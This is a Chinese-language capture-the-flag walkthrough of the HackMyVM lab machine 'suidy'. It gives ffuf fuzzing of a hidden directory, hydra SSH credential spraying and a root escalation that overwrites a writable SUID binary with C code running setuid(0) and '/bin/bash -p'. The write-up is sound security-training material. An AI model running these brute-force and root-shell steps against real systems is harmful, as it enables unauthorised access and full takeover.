5.suidy

1. 基本信息^toc

靶机链接:https://hackmyvm.eu/machines/machine.php?vm=suidy
作者:sml
难度:⭐️⭐️⭐️⭐️⭐️
知识点:ffuf  hydra  SUID替换提权

2. 信息收集

端口扫描

Nmap scan report for 192.168.9.7
Host is up (0.00015s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:B1:28:F4 (Oracle VirtualBox virtual NIC)

2.1. 目录扫描

...

没什么东西,只有一个robots.txt

...

看下网页源码

...

看下rotbots.txt

...

翻到最下面可以看到有一个目录

...

访问目录

...

...

那就是要我们爆破目录,获取到这个.txt文件

3. 爆破文件

利用fuff工具进行爆破

ffuf -u http://192.168.9.7/shehatesme/FUZZ.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

这里爆破出了好多结果

加一个-od参数 输出到result目录

ffuf -u http://192.168.9.7/shehatesme/FUZZ.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -od result

...

看一下输出的文件内容格式

...

下面这个就是账户密码

我们利用正则表达式将其提取出来

tail -q -n 1 \* | sort | uniq | tee yhm.txt

然后把斜杠替换成:

...

hydra爆破
hydra -C ssh.txt  192.168.9.7 ssh

...

4. ssh连接

ssh theuser@192.168.9.7

...

\3. SUID替换提权

theuser@suidy:/home/suidy$ find / -perm -4000 2>/dev/null
/home/suidy/suidyyyyy
/usr/bin/su
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device

这里有一个suidyyyy 可执行文件

看下这个文件

...

这里说明我们当前用户theuser对这个文件是有读写权限的。而且这个文件被设置了suid 与sgid

那我们将这个文件进行替换即可利用SUID执行任意文件

我们新建一个 power.c

#include <stdio.h>
int main() {
        setuid(0);           
        setgid(0);  
        system("/bin/bash -p");
        }
gcc  power.c -o  suidyyyyy 编译
cp suidyyyyy /home/suidy/suidyyyyy 复制替换
./suidyyyyy 执行提权

...